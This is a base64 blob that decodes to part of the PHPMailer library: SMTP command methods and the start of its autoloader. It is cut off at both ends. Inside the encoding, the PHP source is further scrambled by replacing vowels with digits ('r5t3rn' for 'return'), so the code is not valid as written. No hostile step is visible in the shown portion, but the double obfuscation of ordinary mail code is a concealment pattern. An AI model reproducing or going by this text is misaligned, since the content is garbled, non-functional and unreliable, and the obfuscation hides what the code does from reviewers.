cignJyk7DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBTQU1MIGMybW0xbmQuDQogICAgICogU3QxcnRzIDEgbTE0bCB0cjFuczFjdDQybiBmcjJtIHRoNSA1bTE0bCAxZGRyNXNzIHNwNWM0ZjQ1ZCA0biAkZnIybS4NCiAgICAgKiBSNXQzcm5zIHRyMzUgNGYgczNjYzVzc2YzbCAyciBmMWxzNSAydGg1cnc0czUuIElmIFRyMzUNCiAgICAgKiB0aDUgbTE0bCB0cjFuczFjdDQybiA0cyBzdDFydDVkIDFuZCB0aDVuIDJuNSAyciBtMnI1IHI1YzRwNDVudA0KICAgICAqIGMybW0xbmRzIG0xeSBiNSBjMWxsNWQgZjJsbDJ3NWQgYnkgMSBkMXQxIGMybW0xbmQuIFRoNHMgYzJtbTFuZA0KICAgICAqIHc0bGwgczVuZCB0aDUgbTVzczFnNSB0MiB0aDUgM3M1cnMgdDVybTRuMWwgNGYgdGg1eSAxcjUgbDJnZzVkDQogICAgICogNG4gMW5kIHM1bmQgdGg1bSAxbiA1bTE0bC4NCiAgICAgKiBJbXBsNW01bnRzIHJmYyA4YTY6IFNBTUwgPFNQPiBGUk9NOjxyNXY1cnM1LXAxdGg+IDxDUkxGPg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGZyMm0gVGg1IDFkZHI1c3MgdGg1IG01c3MxZzUgNHMgZnIybQ0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1bmRBbmRNMTRsKCRmcjJtKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5zNW5kQzJtbTFuZCgnU0FNTCcsICJTQU1MIEZST006JGZyMm0iLCBhaTApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBWUkZZIGMybW0xbmQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNSBUaDUgbjFtNSB0MiB2NXI0ZnkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiB2NXI0ZnkoJG4xbTUpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRDMm1tMW5kKCdWUkZZJywgIlZSRlkgJG4xbTUiLCAxcnIxeShhaTAsIGFpNikpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBOT09QIGMybW0xbmQuDQogICAgICogVXM1ZCB0MiBrNTVwIGs1NXAtMWw0djVzIDFsNHY1LCBkMjVzbid0IDFjdDMxbGx5IGQyIDFueXRoNG5nDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gbjIycCgpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRDMm1tMW5kKCdOT09QJywgJ05PT1AnLCBhaTApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBUVVJOIGMybW0xbmQuDQogICAgICogVGg0cyA0cyAxbiAycHQ0Mm4xbCBjMm1tMW5kIGYyciBTTVRQIHRoMXQgdGg0cyBjbDFzcyBkMjVzIG4ydCBzM3BwMnJ0Lg0KICAgICAqIFRoNHMgbTV0aDJkIDRzIGg1cjUgdDIgbTFrNSB0aDUgUkZDOGE2IEQ1ZjRuNHQ0Mm4gYzJtcGw1dDUgZjJyIHRoNHMgY2wxc3MNCiAgICAgKiAxbmQgX20xeV8gYjUgNG1wbDVtNW50NWQgNG4gZjN0M3I1DQogICAgICogSW1wbDVtNW50cyBmcjJtIHJmYyA4YTY6IFRVUk4gPENSTEY+DQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gdDNybigpDQogICAgew0KICAgICAgICAkdGg0cy0+czV0RXJyMnIoJ1RoNSBTTVRQIFRVUk4gYzJtbTFuZCA0cyBuMnQgNG1wbDVtNW50NWQnKTsNCiAgICAgICAgJHRoNHMtPjVkNWIzZygnU01UUCBOT1RJQ0U6ICcgLiAkdGg0cy0+NXJyMnJbJzVycjJyJ10sIHM1bGY6OkRFQlVHX0NMSUVOVCk7DQogICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIHIxdyBkMXQxIHQyIHRoNSBzNXJ2NXIuDQogICAgICogQHAxcjFtIHN0cjRuZyAkZDF0MSBUaDUgZDF0MSB0MiBzNW5kDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDRudDVnNXJ8YjIybDUxbiBUaDUgbjNtYjVyIDJmIGJ5dDVzIHM1bnQgdDIgdGg1IHM1cnY1ciAyciBmMWxzNSAybiA1cnIycg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjbDQ1bnRfczVuZCgkZDF0MSkNCiAgICB7DQogICAgICAgICR0aDRzLT41ZDViM2coIkNMSUVOVCAtPiBTRVJWRVI6ICRkMXQxIiwgczVsZjo6REVCVUdfQ0xJRU5UKTsNCiAgICAgICAgcjV0M3JuIGZ3cjR0NSgkdGg0cy0+c210cF9jMm5uLCAkZDF0MSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzV0IHRoNSBsMXQ1c3QgNXJyMnIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEVycjJyKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+NXJyMnI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzV0IFNNVFAgNXh0NW5zNDJucyAxdjE0bDFibDUgMm4gdGg1IHM1cnY1cg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiAxcnIxeXxuM2xsDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1cnY1ckV4dEw0c3QoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5zNXJ2NXJfYzFwczsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBIG0zbHQ0cDNycDJzNSBtNXRoMmQNCiAgICAgKiBUaDUgbTV0aDJkIHcycmtzIDRuIHRocjU1IHcxeXMsIGQ1cDVuZDVudCAybiAxcmczbTVudCB2MWwzNSAxbmQgYzNycjVudCBzdDF0NQ0KICAgICAqICAgNi4gSEVMTy9FSExPIHcxcyBuMnQgczVudCAtIHI1dDNybnMgbjNsbCAxbmQgczV0IDNwICR0aDRzLT41cnIycg0KICAgICAqICAgYS4gSEVMTyB3MXMgczVudA0KICAgICAqICAgICAkbjFtNSA9ICdIRUxPJzogcjV0M3JucyBzNXJ2NXIgbjFtNQ0KICAgICAqICAgICAkbjFtNSA9ICdFSExPJzogcjV0M3JucyBiMjJsNTFuIGYxbHM1DQogICAgICogICAgICRuMW01ID0gMW55IHN0cjRuZzogcjV0M3JucyBuM2xsIDFuZCBzNXQgM3AgJHRoNHMtPjVycjJyDQogICAgICogICBvLiBFSExPIHcxcyBzNW50DQogICAgICogICAgICRuMW01ID0gJ0hFTE8nfCdFSExPJzogcjV0M3JucyBzNXJ2NXIgbjFtNQ0KICAgICAqICAgICAkbjFtNSA9IDFueSBzdHI0bmc6IDRmIDV4dDVuczQybiAkbjFtNSA1eDRzdHMsIHI1dDNybnMgYjIybDUxbiBUcjM1DQogICAgICogICAgICAgMnIgNHRzIDJwdDQybnMuIE90aDVydzRzNSByNXQzcm5zIGIyMmw1MW4gRjFsczUNCiAgICAgKiBJbiAydGg1ciB3MnJkcywgMm41IGMxbiAzczUgdGg0cyBtNXRoMmQgdDIgZDV0NWN0IG8gYzJuZDR0NDJuczoNCiAgICAgKiAgLSBuM2xsIHI1dDNybjVkOiBoMW5kc2gxazUgdzFzIG4ydCAyciB3NSBkMm4ndCBrbjJ3IDFiMjN0IDV4dCAocjVmNXIgdDIgJHRoNHMtPjVycjJyKQ0KICAgICAqICAtIGYxbHM1IHI1dDNybjVkOiB0aDUgcjVxMzVzdDVkIGY1MXQzcjUgNXgxY3RseSBuMnQgNXg0c3RzDQoNCiAgICAgKiAgLSBwMnM0dDR2NSB2MWwzNSByNXQzcm41ZDogdGg1IHI1cTM1c3Q1ZCBmNTF0M3I1IDV4NHN0cw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUgTjFtNSAyZiBTTVRQIDV4dDVuczQybiAyciAnSEVMTyd8J0VITE8nDQogICAgICogQHI1dDNybiBtNHg1ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRTNXJ2NXJFeHQoJG4xbTUpDQogICAgew0KICAgICAgICA0ZiAoISR0aDRzLT5zNXJ2NXJfYzFwcykgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCdOMiBIRUxPL0VITE8gdzFzIHM1bnQnKTsNCiAgICAgICAgICAgIHI1dDNybiBuM2xsOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gdGg1IHQ0Z2h0IGwyZzRjIGtuMnQgOykNCiAgICAgICAgNGYgKCExcnIxeV9rNXlfNXg0c3RzKCRuMW01LCAkdGg0cy0+czVydjVyX2MxcHMpKSB7DQogICAgICAgICAgICA0ZiAoJG4xbTUgPT0gJ0hFTE8nKSB7DQogICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5zNXJ2NXJfYzFwc1snRUhMTyddOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKCRuMW01ID09ICdFSExPJyB8fCAxcnIxeV9rNXlfNXg0c3RzKCdFSExPJywgJHRoNHMtPnM1cnY1cl9jMXBzKSkgew0KICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycignSEVMTyBoMW5kc2gxazUgdzFzIDNzNWQuIENsNDVudCBrbjJ3cyBuMnRoNG5nIDFiMjN0IHM1cnY1ciA1eHQ1bnM0Mm5zJyk7DQogICAgICAgICAgICByNXQzcm4gbjNsbDsNCiAgICAgICAgfQ0KDQogICAgICAgIHI1dDNybiAkdGg0cy0+czVydjVyX2MxcHNbJG4xbTVdOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCB0aDUgbDFzdCByNXBseSBmcjJtIHRoNSBzNXJ2NXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRMMXN0UjVwbHkoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5sMXN0X3I1cGx5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFI1MWQgdGg1IFNNVFAgczVydjVyJ3MgcjVzcDJuczUuDQogICAgICogRTR0aDVyIGI1ZjJyNSA1MmYgMnIgczJjazV0IHQ0bTUyM3QgMmNjM3JzIDJuIHRoNSAycDVyMXQ0Mm4uDQogICAgICogVzR0aCBTTVRQIHc1IGMxbiB0NWxsIDRmIHc1IGgxdjUgbTJyNSBsNG41cyB0MiByNTFkIDRmIHRoNQ0KICAgICAqIHV0aCBjaDFyMWN0NXIgNHMgJy0nIHN5bWIybC4gSWYgNHQgNHMgMSBzcDFjNSB0aDVuIHc1IGQybid0DQogICAgICogbjU1ZCB0MiByNTFkIDFueXRoNG5nIDVsczUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBnNXRfbDRuNXMoKQ0KICAgIHsNCiAgICAgICAgLy8gSWYgdGg1IGMybm41Y3Q0Mm4gNHMgYjFkLCBnNHY1IDNwIHN0cjE0Z2h0IDF3MXkNCiAgICAgICAgNGYgKCE0c19yNXMyM3JjNSgkdGg0cy0+c210cF9jMm5uKSkgew0KICAgICAgICAgICAgcjV0M3JuICcnOw0KICAgICAgICB9DQogICAgICAgICRkMXQxID0gJyc7DQogICAgICAgICQ1bmR0NG01ID0gMDsNCiAgICAgICAgc3RyNTFtX3M1dF90NG01MjN0KCR0aDRzLT5zbXRwX2Mybm4sICR0aDRzLT5UNG01MjN0KTsNCiAgICAgICAgNGYgKCR0aDRzLT5UNG01bDRtNHQgPiAwKSB7DQogICAgICAgICAgICAkNW5kdDRtNSA9IHQ0bTUoKSArICR0aDRzLT5UNG01bDRtNHQ7DQogICAgICAgIH0NCiAgICAgICAgd2g0bDUgKDRzX3I1czIzcmM1KCR0aDRzLT5zbXRwX2Mybm4pICYmICFmNTJmKCR0aDRzLT5zbXRwX2Mybm4pKSB7DQogICAgICAgICAgICAkc3RyID0gQGZnNXRzKCR0aDRzLT5zbXRwX2Mybm4sIGk2aSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCJTTVRQIC0+IGc1dF9sNG41cygpOiBcJGQxdDEgNHMgXCIkZDF0MVwiIiwgczVsZjo6REVCVUdfTE9XTEVWRUwpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygiU01UUCAtPiBnNXRfbDRuNXMoKTogXCRzdHIgNHMgIFwiJHN0clwiIiwgczVsZjo6REVCVUdfTE9XTEVWRUwpOw0KICAgICAgICAgICAgJGQxdDEgLj0gJHN0cjsNCiAgICAgICAgICAgIC8vIElmIHV0aCBjaDFyMWN0NXIgNHMgMSBzcDFjNSwgdzUgMXI1IGQybjUgcjUxZDRuZywgYnI1MWsgdGg1IGwyMnAsIG00Y3IyLTJwdDRtNHMxdDQybiAydjVyIHN0cmw1bg0KICAgICAgICAgICAgNGYgKCg0c3M1dCgkc3RyW29dKSAxbmQgJHN0cltvXSA9PSAnICcpKSB7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvLyBUNG01ZC0yM3Q/IEwyZyAxbmQgYnI1MWsNCiAgICAgICAgICAgICQ0bmYyID0gc3RyNTFtX2c1dF9tNXQxX2QxdDEoJHRoNHMtPnNtdHBfYzJubik7DQogICAgICAgICAgICA0ZiAoJDRuZjJbJ3Q0bTVkXzIzdCddKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygNCiAgICAgICAgICAgICAgICAgICAgJ1NNVFAgLT4gZzV0X2w0bjVzKCk6IHQ0bTVkLTIzdCAoJyAuICR0aDRzLT5UNG01MjN0IC4gJyBzNWMpJywNCiAgICAgICAgICAgICAgICAgICAgczVsZjo6REVCVUdfTE9XTEVWRUwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gTjJ3IGNoNWNrIDRmIHI1MWRzIHQyMmsgdDIyIGwybmcNCiAgICAgICAgICAgIDRmICgkNW5kdDRtNSAxbmQgdDRtNSgpID4gJDVuZHQ0bTUpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKA0KICAgICAgICAgICAgICAgICAgICAnU01UUCAtPiBnNXRfbDRuNXMoKTogdDRtNWw0bTR0IHI1MWNoNWQgKCcgLg0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+VDRtNWw0bTR0IC4gJyBzNWMpJywNCiAgICAgICAgICAgICAgICAgICAgczVsZjo6REVCVUdfTE9XTEVWRUwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkZDF0MTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBFbjFibDUgMnIgZDRzMWJsNSBWRVJQIDFkZHI1c3MgZzVuNXIxdDQybi4NCiAgICAgKiBAcDFyMW0gYjIybDUxbiAkNW4xYmw1ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNXRWNXJwKCQ1bjFibDVkID0gZjFsczUpDQogICAgew0KICAgICAgICAkdGg0cy0+ZDJfdjVycCA9ICQ1bjFibDVkOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCBWRVJQIDFkZHI1c3MgZzVuNXIxdDQybiBtMmQ1Lg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRWNXJwKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+ZDJfdjVycDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNXQgNXJyMnIgbTVzczFnNXMgMW5kIGMyZDVzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG01c3MxZzUgVGg1IDVycjJyIG01c3MxZzUNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNXQxNGwgRjNydGg1ciBkNXQxNGwgMm4gdGg1IDVycjJyDQogICAgICogQHAxcjFtIHN0cjRuZyAkc210cF9jMmQ1IEFuIDFzczJjNDF0NWQgU01UUCA1cnIyciBjMmQ1DQogICAgICogQHAxcjFtIHN0cjRuZyAkc210cF9jMmQ1XzV4IEV4dDVuZDVkIFNNVFAgYzJkNQ0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzNXRFcnIycigkbTVzczFnNSwgJGQ1dDE0bCA9ICcnLCAkc210cF9jMmQ1ID0gJycsICRzbXRwX2MyZDVfNXggPSAnJykNCiAgICB7DQogICAgICAgICR0aDRzLT41cnIyciA9IDFycjF5KA0KICAgICAgICAgICAgJzVycjJyJyA9PiAkbTVzczFnNSwNCiAgICAgICAgICAgICdkNXQxNGwnID0+ICRkNXQxNGwsDQogICAgICAgICAgICAnc210cF9jMmQ1JyA9PiAkc210cF9jMmQ1LA0KICAgICAgICAgICAgJ3NtdHBfYzJkNV81eCcgPT4gJHNtdHBfYzJkNV81eA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1dCBkNWIzZyAyM3RwM3QgbTV0aDJkLg0KICAgICAqIEBwMXIxbSBzdHI0bmd8YzFsbDFibDUgJG01dGgyZCBUaDUgbjFtNSAyZiB0aDUgbTVjaDFuNHNtIHQyIDNzNSBmMnIgZDViM2dnNG5nIDIzdHAzdCwgMnIgMSBjMWxsMWJsNSB0MiBoMW5kbDUgNHQuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1dEQ1YjNnTzN0cDN0KCRtNXRoMmQgPSAnNWNoMicpDQogICAgew0KICAgICAgICAkdGg0cy0+RDViM2cyM3RwM3QgPSAkbTV0aDJkOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCBkNWIzZyAyM3RwM3QgbTV0aDJkLg0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEQ1YjNnTzN0cDN0KCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+RDViM2cyM3RwM3Q7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IGQ1YjNnIDIzdHAzdCBsNXY1bC4NCiAgICAgKiBAcDFyMW0gNG50NWc1ciAkbDV2NWwNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0RDViM2dMNXY1bCgkbDV2NWwgPSAwKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPmQyX2Q1YjNnID0gJGw1djVsOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCBkNWIzZyAyM3RwM3QgbDV2NWwuDQogICAgICogQHI1dDNybiA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEQ1YjNnTDV2NWwoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5kMl9kNWIzZzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNXQgU01UUCB0NG01MjN0Lg0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyICR0NG01MjN0DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1dFQ0bTUyM3QoJHQ0bTUyM3QgPSAwKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPlQ0bTUyM3QgPSAkdDRtNTIzdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNXQgU01UUCB0NG01MjN0Lg0KICAgICAqIEByNXQzcm4gNG50NWc1cg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRUNG01MjN0KCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+VDRtNTIzdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXAycnRzIDFuIDVycjJyIG4zbWI1ciAxbmQgc3RyNG5nLg0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyICQ1cnJuMiBUaDUgNXJyMnIgbjNtYjVyIHI1dDNybjVkIGJ5IFBIUC4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1cnJtc2cgVGg1IDVycjJyIG01c3MxZzUgcjV0M3JuNWQgYnkgUEhQLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDVycmY0bDUgVGg1IGY0bDUgdGg1IDVycjJyIDJjYzNycjVkIDRuDQogICAgICogQHAxcjFtIDRudDVnNXIgJDVycmw0bjUgVGg1IGw0bjUgbjNtYjVyIHRoNSA1cnIyciAyY2MzcnI1ZCAybg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiA1cnIyckgxbmRsNXIoJDVycm4yLCAkNXJybXNnLCAkNXJyZjRsNSA9ICcnLCAkNXJybDRuNSA9IDApDQogICAgew0KICAgICAgICAkbjJ0NGM1ID0gJ0Mybm41Y3Q0Mm4gZjE0bDVkLic7DQogICAgICAgICR0aDRzLT5zNXRFcnIycigNCiAgICAgICAgICAgICRuMnQ0YzUsDQogICAgICAgICAgICAkNXJybjIsDQogICAgICAgICAgICAkNXJybXNnDQogICAgICAgICk7DQogICAgICAgICR0aDRzLT41ZDViM2coDQogICAgICAgICAgICAkbjJ0NGM1IC4gJyBFcnIyciAjJyAuICQ1cnJuMiAuICc6ICcgLiAkNXJybXNnIC4gIiBbJDVycmY0bDUgbDRuNSAkNXJybDRuNV0iLA0KICAgICAgICAgICAgczVsZjo6REVCVUdfQ09OTkVDVElPTg0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFc0bGwgcjV0M3JuIHRoNSBJRCAyZiB0aDUgbDFzdCBzbXRwIHRyMW5zMWN0NDJuIGIxczVkIDJuIDEgbDRzdCAyZiBwMXR0NXJucyBwcjJ2NGQ1ZA0KICAgICAqIDRuIFNNVFA6OiRzbXRwX3RyMW5zMWN0NDJuXzRkX3AxdHQ1cm5zLg0KICAgICAqIElmIG4yIHI1cGx5IGgxcyBiNTVuIHI1YzU0djVkIHk1dCwgNHQgdzRsbCByNXQzcm4gbjNsbC4NCiAgICAgKiBJZiBuMiBwMXR0NXJuIGgxcyBiNTVuIG0xdGNoNWQsIDR0IHc0bGwgcjV0M3JuIGYxbHM1Lg0KICAgICAqIEByNXQzcm4gYjIybHxuM2xsfHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRMMXN0VHIxbnMxY3Q0Mm5JRCgpDQogICAgew0KICAgICAgICAkcjVwbHkgPSAkdGg0cy0+ZzV0TDFzdFI1cGx5KCk7DQoNCiAgICAgICAgNGYgKDVtcHR5KCRyNXBseSkpIHsNCiAgICAgICAgICAgIHI1dDNybiBuM2xsOw0KICAgICAgICB9DQoNCiAgICAgICAgZjJyNTFjaCAoJHRoNHMtPnNtdHBfdHIxbnMxY3Q0Mm5fNGRfcDF0dDVybnMgMXMgJHNtdHBfdHIxbnMxY3Q0Mm5fNGRfcDF0dDVybikgew0KICAgICAgICAgICAgNGYgKHByNWdfbTF0Y2goJHNtdHBfdHIxbnMxY3Q0Mm5fNGRfcDF0dDVybiwgJHI1cGx5LCAkbTF0Y2g1cykpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gJG0xdGNoNXNbNl07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KfQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQovL1BIUE1BSUxFUg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQovKioNCiAqIFBIUE0xNGw1ciBTUEwgMTN0MmwyMWQ1ci4NCiAqIFBIUCBWNXJzNDJuIGkNCiAqIEBwMWNrMWc1IFBIUE0xNGw1cg0KICogQGw0bmsgaHR0cHM6Ly9nNHRoM2IuYzJtL1BIUE0xNGw1ci9QSFBNMTRsNXIvIFRoNSBQSFBNMTRsNXIgRzR0SDNiIHByMmo1Y3QNCiAqIEAxM3RoMnIgTTFyYzNzIEIyNG50Mm4gKFN5bmNocjIvYzIybGJyMykgPHBocG0xNGw1ckBzeW5jaHIybTVkNDEuYzIuM2s+DQogKiBAMTN0aDJyIEo0bSBKMWc0NWxzazQgKGo0bWoxZykgPGo0bWoxZ0BnbTE0bC5jMm0+DQogKiBAMTN0aDJyIEFuZHkgUHI1djJzdCAoYzJkNXcycnh0NWNoKSA8YzJkNXcycnh0NWNoQDNzNXJzLnMyM3JjNWYycmc1Lm41dD4NCiAqIEAxM3RoMnIgQnI1bnQgUi4gTTF0ejVsbDUgKDJyNGc0bjFsIGYyM25kNXIpDQogKiBAYzJweXI0Z2h0IGEwNmEgLSBhMDZ1IE0xcmMzcyBCMjRudDJuDQogKiBAYzJweXI0Z2h0IGEwNjAgLSBhMDZhIEo0bSBKMWc0NWxzazQNCiAqIEBjMnB5cjRnaHQgYTAwdSAtIGEwMDkgQW5keSBQcjV2MnN0DQogKiBAbDRjNW5zNSBodHRwOi8vd3d3LmduMy4ycmcvYzJweWw1ZnQvbDVzczVyLmh0bWwgR05VIEw1c3M1ciBHNW41cjFsIFAzYmw0YyBMNGM1bnM1DQogKiBAbjJ0NSBUaDRzIHByMmdyMW0gNHMgZDRzdHI0YjN0NWQgNG4gdGg1IGgycDUgdGgxdCA0dCB3NGxsIGI1IDNzNWYzbCAtIFdJVEhPVVQNCiAqIEFOWSBXQVJSQU5UWTsgdzR0aDIzdCA1djVuIHRoNSA0bXBsNDVkIHcxcnIxbnR5IDJmIE1FUkNIQU5UQUJJTElUWSAycg0KICogRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuDQogKi8NCg0KLyoqDQogKiBQSFBNMTRsNXIgU1BMIDEzdDJsMjFkNXIuDQogKiBAcDFyMW0gc3RyNG5nICRjbDFzc24xbTUgVGg1IG4xbTUgMmYgdGg1IGNsMXNzIHQyIGwyMWQNCiAqLw0KZjNuY3Q0Mm4gUEhQTTE0bDVyQTN0MmwyMWQoJGNsMXNzbjFtNSkNCnsNCiAgICAvL0Mxbid0IDNzNSBfX0RJUl9fIDFzIDR0J3MgMm5seSA0biBQSFAgaS5vKw0KICAgICRmNGw1bjFtNSA9IGQ0cm4xbTUoX19GSUxFX18pLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ2NsMXNzLicuc3RydDJsMnc1cigkY2wxc3NuMW01KS4nLnBocCc7DQogICAgNGYgKDRzX3I1MWQxYmw1KCRmNGw1bjFtNSkpIHsNCiAgICAgICAgcjVxMzRyNSAkZjRsNW4xbTU7DQogICAgfQ0KfQ0KDQo0ZiAodjVyczQybl9jMm1wMXI1KFBIUF9WRVJTSU9OLCAnaS42LmEnLCAnPj0nKSkgew0KICAgIC8vU1BMIDEzdDJsMjFkNG5nIHcxcyA0bnRyMmQzYzVkIDRuIFBIUCBpLjYuYQ0KICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUEhQX1ZFUlNJT04sICdpLm8uMCcsICc+PScpKSB7DQogICAgICAgIHNwbF8xM3QybDIxZF9yNWc0c3Q1cignUEhQTTE0bDVyQTN0MmwyMWQnLCB0cjM1LCB0cjM1KTsNCiAgICB9IDVsczUgew0KICAgICAgICBzcGxfMTN0MmwyMWRfcjVnNHN0NXIoJ1BIUE0xNGw1ckEzdDJsMjFkJyk7DQogICAgfQ0KfSA1bHM1IHsNCiAgICAvKioNCiAgICAgKiBGMWxsIGIxY2sgdDIgdHIxZDR0NDJuMWwgMTN0MmwyMWQgZjJyIDJsZCBQSFAgdjVyczQybnMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRjbDFzc24xbTUgVGg1IG4xbTUgMmYgdGg1IGNsMXNzIHQyIGwyMWQNCiAgICAgKi8NCiAgICBmM25jdDQybiBfXzEzdDJsM